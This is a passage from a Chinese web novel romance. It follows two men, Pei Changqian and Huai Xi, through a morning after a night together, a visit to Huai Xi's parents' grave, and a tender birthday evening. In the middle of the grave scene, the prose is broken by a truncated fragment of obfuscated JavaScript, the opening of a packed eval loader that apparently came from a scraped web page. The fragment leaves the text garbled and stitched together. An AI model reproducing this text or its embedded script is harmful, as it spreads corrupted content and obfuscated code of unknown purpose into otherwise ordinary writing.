这让裴长谦的心脏化得很软,一边往浴室走,一边情不自禁地用侧脸去贴淮希。 洗完澡后,裴长谦先将淮希用薄毯裹住,轻轻放在沙发上。 他换床上用品的时间,淮希就立刻睡熟了。 等被抱回床上时,淮希只剩最后一点意识。 他把自己蜷进裴长谦怀里,额头抵在裴长谦胸口,嘴里很委屈一样咕哝了一句什么,就沉沉睡去。 …… 第二天早上,裴长谦准时醒来,起床去上班,淮希还睡得很沉。 裴长谦只离开一两个小时就会回来,但为了防止淮希中途醒来找东西吃,他还是进厨房把粥煮上。 今天很顺利,裴长谦状态很好地开完早会,认真查了房,交代完后续事项回到家时,还不到十点钟。 他离开家之前拉紧了窗帘,但卧室这时是亮着的。 淮希醒来后不想下床去拉开窗帘,就开了灯。 裴长谦推门进来时,淮希正趴在枕头上玩手机,露出偏瘦的肩膀,一片润白。 裴长谦在客厅就换了家居服,现在身上很干净,他在床边坐下,揉一揉淮希很软的碎发。 淮希放下了手机,稍稍翻身面对他:“你昨天有没有弄伤我。” 淮希嗓音有点哑,软软的,像在告状。 “应该没有,”裴长谦眸色微变,紧张起来,“昨天结束后我上了药,有一点红肿。” 他手往下覆在微凉淮希肩膀上,拇指温柔地摩挲着,很担心地问:“怎么了,现在感觉难受吗?” 淮希偏过脸蹭一下他的手,“嗯”了一声。 也不算疼,反正是不太舒服。 “我再检查一下吧。”裴长谦严肃起来,站起身去拿药膏。 被子被掀开,淮希的腰微微塌下去,上面有难以消去的泛红痕迹,指痕和吻痕分不清楚。 熟悉的异样感传来,淮希心里后悔了,他脸埋进枕头里,用裴长谦给他放在床头的睡衣蒙住脑袋。 好在这场检查没有持续太久。 “没有伤,”裴长谦神色稍稍轻松了些,他仔细给淮希遮好身体,低声说,“我们今天可以多上几次药,不会难受很久的。” 淮希的脑袋在睡衣下面动了动,很闷地应了一声。 裴长谦笑着把衣服拿起来,露出淮希白皙透红的脸。 “我抱你去洗漱?”他把淮希从床上扶起来,将淮希的胳膊套进睡衣袖子里,“总要吃饭吧。” 淮希说他可以自己去洗漱,但是没有拒绝让裴长谦帮他穿衣服。 因为裴长谦真的把他照顾得好舒服。 裴长谦原本打算将早饭端进卧室吃,但淮希惦记他的洁癖,还是选择去外面餐桌上。 裴长谦抱他过去。 他们并排挨着坐,裴长谦不给淮希拿拖鞋,淮希就把脚踩在他的脚上,慢吞吞地喝粥。 吃饱后,淮希的体力恢复了一些,可以坐直了,也有力气做一些小动作。 他用脚趾点了点裴长谦的脚背。 “再吃一点吗?”裴长谦觉得他吃的有点少,微微皱眉,盛一勺粥送到淮希嘴边。 淮希只好吃掉,刚咽下就摇摇头,说不要了。 裴长谦没再逼他,把碗移到自己面前,不紧不慢将剩下的粥喝完。 反正今天休息,他可以琢磨一些别的好吃的,哄淮希多吃一点。 等裴长谦吃完后,淮希把腿跷到他腿上,轻声说:“下周我妈妈生日。” 他低垂着眼,手指在摸裴长谦线条很好看的小臂,上面有一些浅红色抓痕,是淮希昨晚无意识弄的。 “你那天能不能腾出时间,陪我回一趟松月市,”淮希抬眼说,“我们去把租的房子退了。” 裴长谦捧住了他的脸,眼眸很深邃,带着很多难以表达出来的情绪。 “当然可以,下次可以说,‘你提前调整好时间’,”裴长谦用鼻梁蹭着淮希的,“对你重要的事,对我同样重要。” …… 这次,淮希和裴长谦一起站在淮妈妈和淮爸爸墓前。 裴长谦紧张又庄重地见了家长。 他买的花束招来了蜜蜂,绕着他们两个飞个不停,淮希害怕被蛰到,一边往裴长谦身边躲,一边表示这是爸爸妈妈对裴长谦很满意的意思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴长谦买了很多菜,做了丰盛的晚饭,他们还买了一个很漂亮的生日蛋糕。 吃过饭后,裴长谦关掉了屋里的大灯,只留一点昏暗的灯光。 淮希把蜡烛插上,点燃。 他们面对面坐着,淮希轻轻闭上了眼睛。 跳跃的烛火映照在他脸上,颤动的眼睫也镀上一层淡金色。 “裴长谦,你会一直陪在我身边的,对吧?”淮希睁开眼时,眼眸很亮地问裴长谦。 “我会。”裴长谦很快回答。 淮希满意地抿了一下唇,顿了顿,又说:“你的工作太累了,我有时候会比较担心你。” 他一只手撑着脸,看着烛光慢慢地说:“所以我刚才向妈妈许愿,让她保佑你身体健康,活得久一点。” 裴长谦很轻地笑了一下:“谢谢妈妈。” 他看向淮希,声音变得很温柔:“抱歉,让你担心了。” “我以后会加强锻炼,坚持体检,努力做到劳逸结合。不要担心好不好?” 淮希歪了一下脑袋,算是勉强同意。 他又沉默了很久,蜡烛似乎快要燃尽了。 再开口时,淮希的声音忽然有些颤:“……裴长谦,我可以哭吗?” 裴长谦立刻站了起来,椅子在地板上划出刺耳的声响。 他有些忙乱地扶了一下,然后很快绕过桌子坐到淮希身边。 “不是难过想哭,是觉得,有点幸福。” 淮希话还没说完,已经被裴长谦捧住了脸。 裴长谦揽住他的腰,把他往身前抱了抱,然后用唇轻蹭他的眼睛,吻去溢出的一点点泪水。 淮希回想起自己刚被裴长谦带回家时,总是在难过。 那时的他对裴长谦来说,应当是个很棘手的麻烦,每天都让裴长谦很苦恼。 所以他现在偶尔难过的时候,不太想再让裴长谦知道了。 但是裴长谦说难过的哭也可以,什么都可以。 “你所有的情绪我都想拥有一份,”裴长谦似乎有些着急,很认真地看着淮希的眼睛,缓声说,“不用思考,也不用斟酌,我希望你在产生某种情绪的第一时间就告诉我,不论正面还是负面。” 淮希微微仰脸看他。 忽然抬手摸了摸他的眼尾:“裴长谦,你为什么也哭了?” 裴长谦的眼眶很红。 他沉默住,喉结滚动了一下,缓缓呼出一口气才说:“我说过,淮希,因为我很爱你。” 爱一个人就是这样的。 明明他自己也没得到多少父母的爱,但却总是很心疼淮希。 裴长谦有时会做梦。 梦里他的家庭是美满的,他有一对开明且彼此相爱的父母,他的父母很喜欢淮希,对待淮希像对待亲生孩子一样宠爱。 这样的话,他的家庭是不是就可以给淮希带去一些慰藉呢? 但这不是他能控制的事。 他无法拥有幸福的家庭,就像淮希无法扭转与父母分离的事实。 但好在,做彼此的家人,是他们今后每天都可以做到的事。